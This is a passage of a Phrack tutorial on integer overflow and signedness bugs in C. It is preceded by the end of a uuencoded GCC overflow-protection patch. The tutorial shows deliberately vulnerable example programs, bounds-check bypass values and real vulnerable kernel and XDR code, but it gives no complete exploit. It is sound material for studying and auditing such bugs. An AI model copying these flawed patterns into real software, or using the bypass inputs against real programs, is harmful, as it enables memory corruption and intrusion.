M(&YU;&P@=&AE;B!W92!C86YT(&1O(&UU8V@@*B\‑#0HK"6EF*"%T*0ER971U M<FX@<F5S=6QT.PT‑"BL‑#0HK"2\J(&EN:71I86QI>F4@;&]O<%]L:6UI="!G M;&]B86P@*B\‑#0HK"6QO;W!?;&EM:70N<W1M="`]('0[#0T**PEL;V]P7VQI M;6ET+F‑O=6YT97(@/2!.54Q,.PT‑"BL);&]O<%]L:6UI="YL:6UI="`]($Y5 M3$P[#0T**PEL;V]P7VQI;6ET+F1I<B`](%5.2TY/5TX[#0T**PT‑"BL‑#0HK M"0T‑"BL)#0T**PES=VET8V@H5%)%15]#3T1%("AT*2E[#0T**PD‑#0HK"2\J M(&1E<&5N9&EN9R!O9B!L;V]P('1Y<&4L(&5X=')A8W0@=&AE(&QO;W`@<W1M M=',@86YD(&5X<')S#0T**PD@*B!L;V]P(&‑O;F1I=&EO;B!W:6QL(&AE;'`@ M=7,@:61E;G1I9GD@=&AE(&QO;W`@8V]U;G1E<B!V87(‑#0HK"2`J('=E('=I M;&P@;&%T97(@;&]O:R!I;B!C;VYD(&ET<V5L9B!A;F0@=&AE(&9O<E]E>'!R M(&9O<B`‑#0HK"2`J(&UO9&EF:6‑A=&EO;B!O9B!V87)S(&]F(&‑O;F1I=&EO M;BX@#0T**PD@*@T‑"BL)("H@:68@;6]D:69I8V%T:6]N(&9O=6YD(&%N9"!L M;V]K(&QI:V4@82`B8V]U;G0B(&UO9&EF:6‑A=&EO;B`‑#0HK"2`J("AI+F4N M("LK+"TM+"L]+"H]+BX@971C*2!W92!W:6QL(&MN;W<@:71S(&$@(F‑O=6YT M(B!L;V]P+@T‑"BL)("H@"0T‑"BL)("H@;F5X="!S=&5P+"!I<R!T;R!I9&5N M=&EF>2!C;VYD:71I;VX@97AP<F5S:6]N+B!A;F0@=&\@96UI=`T‑"BL)("H@ M8V]D92!T;R!C:&5C:R!L:6UI="!I;B!R=6YT:6UE+"!B969O<F4@;&]O<"!S M=&%R="!E>&5U8W1I;VX@("HO#0T**PT‑"BL)8V%S92!&3U)?4U1‑5#H‑#0HK M"0EB;&EP7W‑T870N9F]R7V‑H96‑K<RLK.PT‑"BL)"6)L:7!?<W1A="YT;W1A M;%]C:&5C:W,K*SL‑#0HK"0D)#0T**PD):68H8FQI<%]F:6YD7VQO;W!?=F%R M<RA&3U)?0T].1"`H="DL1D]27T584%(@*'0I*2D‑#0HK"0D):68H8FQI<%]E M;6ET7V9O<E]L;V]P7V‑H96‑K<RAT*2E[#0T**PD)"0EB;&EP7W‑T870N=&]T M86Q?96UI=',K*SL‑#0HK"0D)"6)L:7!?<W1A="YF;W)?96UI=',K*SL‑#0HK M"0D)?0T‑"BL‑#0HK"0EB<F5A:SL‑#0HK"6‑A<V4@5TA)3$5?4U1‑5#H‑#0HK M"0EB;&EP7W‑T870N=VAI;&5?8VAE8VMS*RL[#0T**PD)8FQI<%]S=&%T+G1O M=&%L7V‑H96‑K<RLK.PT‑"BL‑#0HK"0EI9BAB;&EP7V9I;F1?;&]O<%]V87)S M*%=(24Q%7T‑/3D0@*'0I+$Y53$Q?5%)%12DI#0T**PD)"6EF*&)L:7!?96UI M=%]W:&EL95]L;V]P7V‑H96‑K<R@I*7L‑#0HK"0D)"6)L:7!?<W1A="YT;W1A M;%]E;6ET<RLK.PT‑"BL)"0D)8FQI<%]S=&%T+G=H:6QE7V5M:71S*RL[#0T* M*PD)"7T‑#0HK"0T‑"BL)"6)R96%K.PT‑"BL)8V%S92!#04Q,7T584%(Z#0T* M*PD)#0T**PD):68H8FQI<%]F:6YD7V‑A;&Q?;&EM:71S*'0L5%)%15]/4$52 M04Y$("AT+#$I*2D‑#0HK"0D)<F5S=6QT(#T@8FQI<%]E;6ET7V‑A;&Q?8VAE M8VMS*'0I.PD)#0T**PT‑"BL)"6EF*')E<W5L="`A/2!T*7L‑#0HK"0D)8FQI M<%]S=&%T+G1O=&%L7V5M:71S*RL[#0T**PD)"6)L:7!?<W1A="YC86QL7V5M M:71S*RL[#0T**PD)?0T‑"BL)"0T‑"BL)"6)R96%K.PD‑#0HK"61E9F%U;'0Z M#0T**PD)<F5T=7)N(')E<W5L=#L‑#0HK"7T‑#0HK#0T**PER971U<FX@<F5S M=6QT.PT‑"BL)#0T**WT‑#0ID:69F("U.=7(@9V‑C+3,N,B]G8V,O8FQI<"YH M(&=C8RTS+C(M8FQI<"]G8V,O8FQI<"YH#0HM+2T@9V‑C+3,N,B]G8V,O8FQI M<"YH"5=E9"!$96,@,S$@,38Z,#`Z,#`@,3DV.0T**RLK(&=C8RTS+C(M8FQI M<"]G8V,O8FQI<"YH"4UO;B!$96,@(#(@,3DZ‑#(Z,SD@,C`P,@T*0$`@+3`L M,"`K,2PY.2!`0`T**R\J#0HK#0HK"4)I9R!,;V]P($EN=&5G97(@4')O=&5C M=&EO;B`M($$N2RY!(")B;&EP(@T**PT**PEB;&EP(&ES(&$@<&%T8V@@9F]R M('1H92!G8V,@8V]M<&EL97(L('=H:6‑H(&1E=&5C="!T:&4@97AP;&]I=&%T M:6]N#0HK"6]F("AP=6)L:6‑L>2D@=6YK;F]W;B!I;G1E9V5R(&]V97)F;&]W M(&%N9"!S:6=N('9U;&YE<F%B:6QI=&EE<RX‑"BL‑"BL@("`‑"BM4:&ES(&9I M;&4@:7,@<&%R="!O9B!'3E4@0T,N#0HK#0HK1TY5($‑#(&ES(&9R964@<V]F M='=A<F4[('EO=2!C86X@<F5D:7‑T<FEB=71E(&ET(&%N9"]O<B!M;V1I9GDM"BMI="!U;F1E<B!T:&4@=&5R;7,@;V8@=&AE($=.52!'96YE<F%L(%!U8FQI M8R!,:6‑E;G‑E(&%S('!U8FQI<VAE9"!B>0T**W1H92!&<F5E(%‑O9G1W87)E M($9O=6YD871I;VX[(&5I=&AE<B!V97)S:6]N(#(L(&]R("AA="!Y;W5R(&]P M=&EO;BD‑"BMA;GD@;&%T97(@=F5R<VEO;BX‑"BL‑"BM'3E4@0T,@:7,@9&ES M=')I8G5T960@:6X@=&AE(&AO<&4@=&AA="!I="!W:6QL(&)E('5S969U;"PM"BL)8G5T(%=)5$A/550@04Y9(%=!4E)!3E19.R!W:71H;W5T(&5V96X@=&AE M(&EM<&QI960@=V%R<F%N='D@;V8‑"BL)34520TA!3E1!0DE,2519(&]R($9) M5$Y%4U,@1D]2($$@4$%25$E#54Q!4B!055)03U‑%+B`@4V5E('1H90T**PE' M3E4@1V5N97)A;"!0=6)L:6,@3&EC96YS92!F;W(@;6]R92!D971A:6QS+@T* M*PT**PE9;W4@<VAO=6QD(&AA=F4@<F5C96EV960@82!C;W!Y(&]F('1H92!' M3E4@1V5N97)A;"!0=6)L:6,@3&EC96YS90T**PEA;&]N9R!W:71H($=.52!# M0SL@<V5E('1H92!F:6QE($‑/4%E)3D<N("!)9B!N;W0L('=R:71E('1O#0HK M"71H92!&<F5E(%‑O9G1W87)E($9O=6YD871I;VXL(#4Y(%1E;7!L92!0;&%C M92`M(%‑U:71E(#,S,"P‑"BL)0F]S=&]N+"!‑02`P,C$Q,2TQ,S`W+"!54T$N M("`J+PT**PT**R‑D969I;F4@0DQ)4%]‑05@),'@Q,#`P,#`P,"`O*B`R‑38@ M34(@<V5E;7,@=V%Y('1O;R!M=6‑H(&)I9R!L;V]P+BXN*B\‑"BL‑"BMT>7!E M9&5F(&5N=6T@;&]O<%]D:7(‑"BM[#0HK"55.2TY/5TY?1$E2+"\J('=E(&‑A M;FYO="!T96QL(&QO;W`@9&ER96‑T:6]N("HO#0HK"4E.0U)%345.5"P)+RH@ M;&]O<"!I<R!G;VEN9R!U<"`J+PT**PE$14‑214U%3E0)+RH@;&]O<"!I<R!G M;VEN9R!D;W=N("HO#0HK?0T**VQO;W!?9&ER.PT**PT**W1Y<&5D968@96YU M;2!B;&EP7W=A<FYI;F=S#0HK>PT**PE314Q&7T‑(14‑++`DO*B!U<VEN9R!T M:&4@5%)%12!O8FIE8W0@9FEN9"!O=70@=&AE(')I9VAT#0HK"0D)"2`@('=A M<FYI;F<@9FQA9R`J+PT**PE.15]&3U(L"0DO*B!W87)N(&YO="!E;6ET:6YG M(&‑H96‑K(&9O<B!F;W(@;&]O<',@*B\‑"BL)3D5?5TA)3$4L"2\J('=A<FX@ M;F]T(&5M:71I;F<@8VAE8VL@9F]R('=H:6QE(&QO;W!S("HO#0HK"4Y%7T‑! M3$P)"2\J('=A<FX@;F]T(&5M:71I;F<@8VAE8VL@9F]R(&‑A;&QS("HO#0HK M?0T**V)L:7!?=V%R;FEN9W,[#0HK#0HK='EP961E9B!S=')U8W0@7VQO;W!? M;&EM:71?<WL‑"BL)=')E92!S=&UT.PD‑"BL)=')E92!C;W5N=&5R.PT**PET M<F5E(&QI;6ET.PT**PEE;G5M(&QO;W!?9&ER(&1I<CL‑"BL):6YT"2!L:6YE M;F\[#0HK#0HK?6QO;W!?;&EM:71?<SL‑"BL‑"BLO*B!B;&EP('‑T871I<W1I M8W,@<W1R=6‑T=7)E+"!W:6QL(&UA:6YT86EN('1H92!A;6]U;G0@;V8@96YC M;W5T97)D(`T**R`J(&‑O9&4@=&AA="!M:6=H="!H879E(&YE961E9"!A(&)L M:7`@8VAE8VLL(&%N9"!T:&4@<F5A;"!A;6]U;G0@;V8@#0HK("H@=&EM97,@ M=&AA="!A(&)L:7`@8VAE8VL@=V%S(&5M:71E9"X@*B\‑"BMT>7!E9&5F('‑T M<G5C="!?8FQI<%]S=&%T:7‑T:6‑S7W‑[#0HK"75N<VEG;F5D(&EN=`ET;W1A M;%]C:&5C:W,[#0HK"75N<VEG;F5D(&EN=`ET;W1A;%]E;6ET<SL‑"BL)#0HK M"75N<VEG;F5D(&EN=`EF;W)?8VAE8VMS.PT**PEU;G‑I9VYE9"!I;G0)=VAI M;&5?8VAE8VMS.PT**PEU;G‑I9VYE9"!I;G0)8V%L;%]C:&5C:W,[#0HK"0T* M*PEU;G‑I9VYE9"!I;G0)9F]R7V5M:71S.PT**PEU;G‑I9VYE9"!I;G0)=VAI M;&5?96UI=',[#0HK"75N<VEG;F5D(&EN=`EC86QL7V5M:71S.PT**WUB;&EP M7W‑T871I<W1I8W‑?<SL‑"BL‑"BLO*B!.54Q,('1E<FUI;F%T960@;&ES="!O M9B!F=6YC=&EO;B!W:&EC:"!A<F4@86QM;W‑T('1H92!S86UE(&%S(&$@#0HK M("H@;&]O<"X@:2YE(&UE;6‑P>2P@;65M;6]V92XN(&9O<B!E86‑H(&9U;F‑T M:6]N('=E('=I;&P@<V%V92!T:&4@#0HK("H@;F%M92!O9B!T:&4@9G5N8W1I M;VX@87,@=V5L;"!A<R!T:&4@,"!B87‑E9"!I;F1E>"!T;R!T:&4@<&%R86T@ M#0HK("H@=VAI8V@@:7,@<W5P<&]S92!T;R!H879E('1H92!L96YG=&@@=F%R M:6%B;&4@*B\‑"BL‑"BMT>7!E9&5F('‑T<G5C="!?;&]O<%]L:6ME7W‑[#0HK M"6‑H87()"0EF=6YC7VYA;65;,C4V73L‑"BL)=6YS:6=N960@:6YT"7!A<F%M M7VEN9&5X.PT**WUL;V]P7VQI:V5?<SL‑"BL‑"BL‑"BL‑"BMV;VED(&)L:7!? M<W1A=%]P<FEN=`D)"5!!4D%‑4R`H*$9)3$4J*2D[#0HK#0HK8F]O;"!B;&EP M7V1E8VQ?;6]D:69I960@("`@("`@("!005)!35,@*"AT<F5E+'1R964I*3LM"BMT<F5E(&)L:7!?9FEN9%]D96‑L("`@("`@("`@("`@(%!!4D%‑4R`H*'1R M964I*3L‑"BMB;V]L(&)L:7!?9FEN9%]L;V]P7W9A<G,@("`@("`@(%!!4D%M4R`H*'1R964L=')E92DI.PT**V)O;VP@8FQI<%]F:6YD7V‑A;&Q?;&EM:71S M("`@("`@4$%204U3("@H=')E92QT<F5E*2D[#0HK#0HK8F]O;"!B;&EP7V5M end

|=[ EOF ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Basic Integer Overflows

==Phrack Inc.==

Volume 0x0b, Issue 0x3c, Phile #0x0a of 0x10

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Basic Integer Overflows ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ by blexim <blexim@hush.com> ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

1: Introduction

1.1 What is an integer?

1.2 What is an integer overflow?

1.3 Why can they be dangerous?

2: Integer overflows

2.1 Widthness overflows

2.1.1 Exploiting

2.2 Arithmetic overflows

2.2.1 Exploiting

3: Signedness bugs

3.1 What do they look like?

3.1.1 Exploiting

3.2 Signedness bugs caused by integer overflows

4: Real world examples

4.1 Integer overflows

4.2 Signedness bugs

‑‑[ 1.0 Introduction

In this paper I'm going to describe two classes of programming bugs which can sometimes allow a malicious user to modify the execution path of an affected process. Both of these classes of bug work by causing variables to contain unexpected values, and so are not as "direct" as classes which overwrite memory, e.g. buffer overflows or format strings. All the examples given in the paper are in C, so a basic familiarity with C is assumed. A knowledge of how integers are stored in memory is also useful, but not essential.

‑‑‑‑[ 1.1 What is an integer?

An integer, in the context of computing, is a variable capable of representing a real number with no fractional part. Integers are typically the same size as a pointer on the system they are compiled on (i.e. on a 32 bit system, such as i386, an integer is 32 bits long, on a 64 bit system, such as SPARC, an integer is 64 bits long). Some compilers don't use integers and pointers of the same size however, so for the sake of simplicity all the examples refer to a 32 bit system with 32 bit integers, longs and pointers.

Integers, like all variables are just regions of memory. When we talk about integers, we usually represent them in decimal, as that is the numbering system humans are most used to. Computers, being digital, cannot deal with decimal, so internally to the computer integers are stored in binary. Binary is another system of representing numbers which uses only two numerals, 1 and 0, as opposed to the ten numerals used in decimal. As well as binary and decimal, hexadecimal (base sixteen) is often used in computing as it is very easy to convert between binary and hexadecimal.

Since it is often necessary to store negative numbers, there needs to be a mechanism to represent negative numbers using only binary. The way this is accomplished is by using the most significant bit (MSB) of a variable to determine the sign: if the MSB is set to 1, the variable is interpreted as negative; if it is set to 0, the variable is positive. This can cause some confusion, as will be explained in the section on signedness bugs, because not all variables are signed, meaning they do not all use the MSB to determine whether they are positive or negative. These variable are known as unsigned and can only be assigned positive values, whereas variables which can be either positive or negative are called unsigned.

‑‑‑‑[ 1.2 What is an integer overflow?

Since an integer is a fixed size (32 bits for the purposes of this paper), there is a fixed maximum value it can store. When an attempt is made to store a value greater than this maximum value it is known as an integer overflow. The ISO C99 standard says that an integer overflow causes "undefined behaviour", meaning that compilers conforming to the standard may do anything they like from completely ignoring the overflow to aborting the program. Most compilers seem to ignore the overflow, resulting in an unexpected or erroneous result being stored.

‑‑‑‑[ 1.3 Why can they be dangerous?

Integer overflows cannot be detected after they have happened, so there is not way for an application to tell if a result it has calculated previously is in fact correct. This can get dangerous if the calculation has to do with the size of a buffer or how far into an array to index. Of course most integer overflows are not exploitable because memory is not being directly overwritten, but sometimes they can lead to other classes of bugs, frequently buffer overflows. As well as this, integer overflows can be difficult to spot, so even well audited code can spring surprises.

‑‑[ 2.0 Integer overflows

So what happens when an integer overflow does happen? ISO C99 has this to say:

"A computation involving unsigned operands can never overflow, because a result that cannot be represented by the resulting unsigned integer type is reduced modulo the number that is one greater than the largest value that can be represented by the resulting type."

NB: modulo arithmetic involves dividing two numbers and taking the remainder,

e.g.

10 modulo 5 = 0

11 modulo 5 = 1

so reducing a large value modulo (MAXINT + 1) can be seen as discarding the portion of the value which cannot fit into an integer and keeping the rest. In C, the modulo operator is a % sign.

</NB>

This is a bit wordy, so maybe an example will better demonstrate the typical "undefined behaviour":

We have two unsigned integers, a and b, both of which are 32 bits long. We assign to a the maximum value a 32 bit integer can hold, and to b we assign 1. We add a and b together and store the result in a third unsigned 32 bit integer called r:

a = 0xffffffff

b = 0x1

r = a + b

Now, since the result of the addition cannot be represented using 32 bits, the result, in accordance with the ISO standard, is reduced modulo 0x100000000.

r = (0xffffffff + 0x1) % 0x100000000

r = (0x100000000) % 0x100000000 = 0

Reducing the result using modulo arithmetic basically ensures that only the lowest 32 bits of the result are used, so integer overflows cause the result to be truncated to a size that can be represented by the variable. This is often called a "wrap around", as the result appears to wrap around to 0.

‑‑‑‑[ 2.1 Widthness overflows

So an integer overflow is the result of attempting to store a value in a variable which is too small to hold it. The simplest example of this can be demonstrated by simply assigning the contents of large variable to a smaller one:

/* ex1.c ‑ loss of precision */

#include <stdio.h>

int main(void){

int l;

short s;

char c;

l = 0xdeadbeef;

s = l;

c = l;

printf("l = 0x%x (%d bits)\n", l, sizeof(l) * 8); printf("s = 0x%x (%d bits)\n", s, sizeof(s) * 8); printf("c = 0x%x (%d bits)\n", c, sizeof(c) * 8);

return 0;

}

/* EOF */

The output of which looks like this:

nova:signed {48} ./ex1

l = 0xdeadbeef (32 bits)

s = 0xffffbeef (16 bits)

c = 0xffffffef (8 bits)

Since each assignment causes the bounds of the values that can be stored in each type to be exceeded, the value is truncated so that it can fit in the variable it is assigned to.

It is worth mentioning integer promotion here. When a calculation involving operands of different sizes is performed, the smaller operand is "promoted" to the size of the larger one. The calculation is then performed with these promoted sizes and, if the result is to be stored in the smaller variable, the result is truncated to the smaller size again. For example:

int i;

short s;

s = i;

A calculation is being performed with different sized operands here. What happens is that the variable s is promoted to an int (32 bits long), then the contents of i is copied into the new promoted s. After this, the contents of the promoted variable are "demoted" back to 16 bits in order to be saved in s. This demotion can cause the result to be truncated if it is greater than the maximum value s can hold.

‑‑‑‑‑‑[ 2.1.1 Exploiting

Integer overflows are not like most common bug classes. They do not allow direct overwriting of memory or direct execution flow control, but are much more subtle. The root of the problem lies in the fact that there is no way for a process to check the result of a computation after it has happened, so there may be a discrepancy between the stored result and the correct result. Because of this, most integer overflows are not actually exploitable. Even so, in certain cases it is possible to force a crucial variable to contain an erroneous value, and this can lead to problems later in the code.

Because of the subtlety of these bugs, there is a huge number of situations in which they can be exploited, so I will not attempt to cover all exploitable conditions. Instead, I will provide examples of some situations which are exploitable, in the hope of inspiring the reader in their own research :)

Example 1:

/* width1.c ‑ exploiting a trivial widthness bug */

#include <stdio.h>

#include <string.h>

int main(int argc, char *argv[]){

unsigned short s;

int i;

char buf[80];

if(argc < 3){

return ‑1;

}

i = atoi(argv[1]);

s = i;

if(s >= 80){ /* [w1] */

printf("Oh no you don't!\n"); return ‑1;

}

printf("s = %d\n", s);

memcpy(buf, argv[2], i);

buf[i] = '\0';

printf("%s\n", buf);

return 0;

}

While a construct like this would probably never show up in real life code, it serves well as an example. Take a look at the following inputs:

nova:signed {100} ./width1 5 hello

s = 5

hello

nova:signed {101} ./width1 80 hello

Oh no you don't!

nova:signed {102} ./width1 65536 hello

s = 0

Segmentation fault (core dumped)

The length argument is taken from the command line and held in the integer i. When this value is transferred into the short integer s, it is truncated if the value is too great to fit into s (i.e. if the value is greater than 65535). Because of this, it is possible to bypass the bounds check at [w1] and overflow the buffer. After this, standard stack smashing techniques can be used to exploit the process.

‑‑‑‑[ 2.2 Arithmetic overflows

As shown in section 2.0, if an attempt is made to store a value in an integer which is greater than the maximum value the integer can hold, the value will be truncated. If the stored value is the result of an arithmetic operation, any part of the program which later uses the result will run incorrectly as the result of the arithmetic being incorrect. Consider this example demonstrating the wrap around shown earlier:

/* ex2.c ‑ an integer overflow */

#include <stdio.h>

int main(void){

unsigned int num = 0xffffffff;

printf("num is %d bits long\n", sizeof(num) * 8); printf("num = 0x%x\n", num); printf("num + 1 = 0x%x\n", num + 1);

return 0;

}

/* EOF */

The output of this program looks like this:

nova:signed {4} ./ex2

num is 32 bits long

num = 0xffffffff

num + 1 = 0x0

Note:

The astute reader will have noticed that 0xffffffff is decimal ‑1, so it appears that we're just doing

1 + (‑1) = 0

Whilst this is one way at looking at what's going on, it may cause some confusion since the variable num is unsigned and therefore all arithmetic done on it will be unsigned. As it happens, a lot of signed arithmetic depends on integer overflows, as the following demonstrates (assume both operands are 32 bit variables):

‑700 + 800 = 100

0xfffffd44 + 0x320 = 0x100000064

Since the result of the addition exceeds the range of the variable, the lowest 32 bits are used as the result. These low 32 bits are 0x64, which is equal to decimal 100.

</note>

Since an integer is signed by default, an integer overflow can cause a change in signedness which can often have interesting effects on subsequent code. Consider the following example:

/* ex3.c ‑ change of signedness */

#include <stdio.h>

int main(void){

int l;

l = 0x7fffffff;

printf("l = %d (0x%x)\n", l, l); printf("l + 1 = %d (0x%x)\n", l + 1 , l + 1);

return 0;

}

/* EOF */

The output of which is:

nova:signed {38} ./ex3

l = 2147483647 (0x7fffffff)

l + 1 = ‑2147483648 (0x80000000)

Here the integer is initialised with the highest positive value a signed long integer can hold. When it is incremented, the most significant bit (indicating signedness) is set and the integer is interpreted as being negative.

Addition is not the only arithmetic operation which can cause an integer to overflow. Almost any operation which changes the value of a variable can cause an overflow, as demonstrated in the following example:

/* ex4.c ‑ various arithmetic overflows */

#include <stdio.h>

int main(void){

int l, x;

l = 0x40000000;

printf("l = %d (0x%x)\n", l, l);

x = l + 0xc0000000;

printf("l + 0xc0000000 = %d (0x%x)\n", x, x);

x = l * 0x4;

printf("l * 0x4 = %d (0x%x)\n", x, x);

x = l ‑ 0xffffffff;

printf("l ‑ 0xffffffff = %d (0x%x)\n", x, x);

return 0;

}

/* EOF */

Output:

nova:signed {55} ./ex4

l = 1073741824 (0x40000000)

l + 0xc0000000 = 0 (0x0)

l * 0x4 = 0 (0x0)

l ‑ 0xffffffff = 1073741825 (0x40000001)

The addition is causing an overflow in exactly the same way as the first example, and so is the multiplication, although it may seem different. In both cases the result of the arithmetic is too great to fit in an integer, so it is reduced as described above. The subtraction is slightly different, as it is causing an underflow rather than an overflow: an attempt is made to store a value lower than the minimum value the integer can hold, causing a wrap around. In this way we are able to force an addition to subtract, a multiplication to divide or a subtraction to add.

‑‑‑‑‑‑[ 2.2.1 Exploiting

One of the most common ways arithmetic overflows can be exploited is when a calculation is made about how large a buffer must be allocated. Often a program must allocate space for an array of objects, so it uses the malloc(3) or calloc(3) routines to reserve the space and calculates how much space is needed by multiplying the number of elements by the size of an object. As has been previously shown, if we are able to control either of these operands (number of elements or object size) we may be able to mis‑size the buffer, as the following code fragment shows:

int myfunction(int *array, int len){

int *myarray, i;

myarray = malloc(len * sizeof(int)); /* [1] */

if(myarray == NULL){

return ‑1;

}

for(i = 0; i < len; i++){ /* [2] */

myarray[i] = array[i];

}

return myarray;

}

This seemingly innocent function could bring about the downfall of a system due to its lack of checking of the len parameter. The multiplication at [1] can be made to overflow by supplying a high enough value for len, so we can force the buffer to be any length we choose. By choosing a suitable value for len, we can cause the loop at [2] to write past the end of the myarray buffer, resulting in a heap overflow. This could be leveraged into executing arbitrary code on certain implementations by overwriting malloc control structures, but that is beyond the scope of this article.

Another example:

int catvars(char *buf1, char *buf2, unsigned int len1, unsigned int len2){

char mybuf[256];

if((len1 + len2) > 256){ /* [3] */

return ‑1;

}

memcpy(mybuf, buf1, len1); /* [4] */

memcpy(mybuf + len1, buf2, len2);

do_some_stuff(mybuf);

return 0;

}

In this example, the check at [3] can be bypassed by using suitable values for len1 and len2 that will cause the addition to overflow and wrap around to a low number. For example, the following values:

len1 = 0x104

len2 = 0xfffffffc

when added together would result in a wrap around with a result of 0x100 (decimal 256). This would pass the check at [3], then the memcpy(3)'s at [4] would copy data well past the end of the buffer.

‑‑[ 3 Signedness Bugs

Signedness bugs occur when an unsigned variable is interpreted as signed, or when a signed variable is interpreted as unsigned. This type of behaviour can happen because internally to the computer, there is no distinction between the way signed and unsigned variables are stored. Recently, several signedness bugs showed up in the FreeBSD and OpenBSD kernels, so there are many examples readily available.

‑‑‑‑[ 3.1 What do they look like?

Signedness bugs can take a variety of forms, but some of the things to look out for are:

* signed integers being used in comparisons

* signed integers being used in arithmetic

* unsigned integers being compared to signed integers

Here is classic example of a signedness bug:

int copy_something(char *buf, int len){

char kbuf[800];

if(len > sizeof(kbuf)){ /* [1] */

return ‑1;

}

return memcpy(kbuf, buf, len); /* [2] */

}

The problem here is that memcpy takes an unsigned int as the len parameter, but the bounds check performed before the memcpy is done using signed integers. By passing a negative value for len, it is possible to pass the check at [1], but then in the call to memcpy at [2], len will be interpeted as a huge unsigned value, causing memory to be overwritten well past the end of the buffer kbuf.

Another problem that can stem from signed/unsigned confusion occurs when arithmetic is performed. Consider the following example:

int table[800];

int insert_in_table(int val, int pos){

if(pos > sizeof(table) / sizeof(int)){ return ‑1;

}

table[pos] = val;

return 0;

}

Since the line

table[pos] = val;

is equivalent to

*(table + (pos * sizeof(int))) = val;

we can see that the problem here is that the code does not expect a negative operand for the addition: it expects (table + pos) to be greater than table, so providing a negative value for pos causes a situation which the program does not expect and can therefore not deal with.

‑‑‑‑‑‑[ 3.1.1 Exploiting

This class of bug can be problematic to exploit, due to the fact that signed integers, when interpreted as unsigned, tend to be huge. For example, ‑1 when represented in hexadecimal is 0xffffffff. When interpreted as unsiged, this becomes the greatest value it is possible to represent in an integer (4,294,967,295), so if this value is passed to mempcpy as the len parameter (for example), memcpy will attempt to copy 4GB of data to the destination buffer. Obviously this is likely to cause a segfault or, if not, to trash a large amount of the stack or heap. Sometimes it is possible to get around this problem by passing a very low value for the source address and hope, but this is not always possible.

‑‑‑‑[ 3.2 Signedness bugs caused by integer overflows

Sometimes, it is possible to overflow an integer so that it wraps around to a negative number. Since the application is unlikely to expect such a value, it may be possible to trigger a signedness bug as described above.

An example of this type of bug could look like this:

int get_two_vars(int sock, char *out, int len){ char buf1[512], buf2[512];

unsigned int size1, size2;

int size;

if(recv(sock, buf1, sizeof(buf1), 0) < 0){ return ‑1;

}

if(recv(sock, buf2, sizeof(buf2), 0) < 0){ return ‑1;

}

/* packet begins with length information */

memcpy(&size1, buf1, sizeof(int));

memcpy(&size2, buf2, sizeof(int));

size = size1 + size2; /* [1] */

if(size > len){ /* [2] */

return ‑1;

}

memcpy(out, buf1, size1);

memcpy(out + size1, buf2, size2);

return size;

}

This example shows what can sometimes happen in network daemons, especially when length information is passed as part of the packet (in other words, it is supplied by an untrusted user). The addition at [1], used to check that the data does not exceed the bounds of the output buffer, can be abused by setting size1 and size2 to values that will cause the size variable to wrap around to a negative value. Example values could be: size1 = 0x7fffffff

size2 = 0x7fffffff

(0x7fffffff + 0x7fffffff = 0xfffffffe (‑2)).

When this happens, the bounds check at [2] passes, and a lot more of the out buffer can be written to than was intended (in fact, arbitrary memory can be written to, as the (out + size1) dest parameter in the second memcpy call allows us to get to any location in memory).

These bugs can be exploited in exactly the same way as regular signedness bugs and have the same problems associated with them ‑ i.e. negative values translate to huge positive values, which can easily cause segfaults.

‑‑[ 4 Real world examples

There are many real world applications containing integer overflows and signedness bugs, particularly network daemons and, frequently, in operating system kernels.

‑‑‑‑[ 4.1 Integer overflows

This (non‑exploitable) example was taken from a security module for linux. This code runs in the kernel context:

int rsbac_acl_sys_group(enum rsbac_acl_group_syscall_type_t call, union rsbac_acl_group_syscall_arg_t arg) {

...

switch(call)

{

case ACLGS_get_group_members:

if( (arg.get_group_members.maxnum <= 0) /* [A] */

|| !arg.get_group_members.group )

{

...

rsbac_uid_t * user_array; rsbac_time_t * ttl_array;

user_array = vmalloc(sizeof(*user_array) * arg.get_group_members.maxnum); /* [B] */

if(!user_array)

return ‑RSBAC_ENOMEM; ttl_array = vmalloc(sizeof(*ttl_array) * arg.get_group_members.maxnum); /* [C] */

if(!ttl_array)

{

vfree(user_array); return ‑RSBAC_ENOMEM;

}

err = rsbac_acl_get_group_members(arg.get_group_members.group,

user_array,

ttl_array,

arg.get_group_members.max

num);

...

}

In this example, the bounds checking at [A] is not sufficient to prevent the integer overflows at [B] and [C]. By passing a high enough (i.e. greater than 0xffffffff / 4) value for arg.get_group_members.maxnum, we can cause the multiplications at [B] and [C] to overflow and force the buffers ttl_array and user_array to be smaller than the application expects. Since rsbac_acl_get_group_members copies user controlled data to these buffers, it is possible to write past the end of the user_array and ttl_array buffers. In this case, the application used vmalloc() to allocate the buffers, so an attempt to write past the end of the buffers will simply raise an error, so it cannot be exploited. Even so, it provides an example of what these bugs can look like in real code.

Another example of a recent real world integer overflow vulnerability was the problem in the XDR RPC library (discovered by ISS X‑Force). In this case, user supplied data was used in the calculation of the size of a dynamically allocated buffer which was filled with user supplied data. The vulnerable code was this:

bool_t

xdr_array (xdrs, addrp, sizep, maxsize, elsize, elproc) XDR *xdrs;

caddr_t *addrp;/* array pointer */

u_int *sizep;/* number of elements */

u_int maxsize;/* max numberof elements */

u_int elsize;/* size in bytes of each element */

xdrproc_t elproc;/* xdr routine to handle each element */

{

u_int i;

caddr_t target = *addrp;

u_int c;/* the actual element count */

bool_t stat = TRUE;

u_int nodesize;

...

c = *sizep;

if ((c > maxsize) && (xdrs‑>x_op != XDR_FREE))

{

return FALSE;

}

nodesize = c * elsize; /* [1] */

...

*addrp = target = mem_alloc (nodesize); /* [2] */

...

for (i = 0; (i < c) && stat; i++)

{

stat = (*elproc) (xdrs, target, LASTUNSIGNED); /* [3] */

target += elsize;

}

As you can see, by supplying large values for elsize and c (sizep), it was possible to cause the multiplication at [1] to overflow and cause nodesize to be much smaller than the application expected. Since nodesize was then used to allocate a buffer at [2], the buffer could be mis‑sized leading to a heap overflow at [3]. For more information on this hole, see the CERT advisory listed in the appendix.

‑‑‑‑[ 4.2 Signedness bugs

Recently, several signedness bugs were brought to light in the freebsd kernel. These allowed large portions of kernel memory to be read by passing

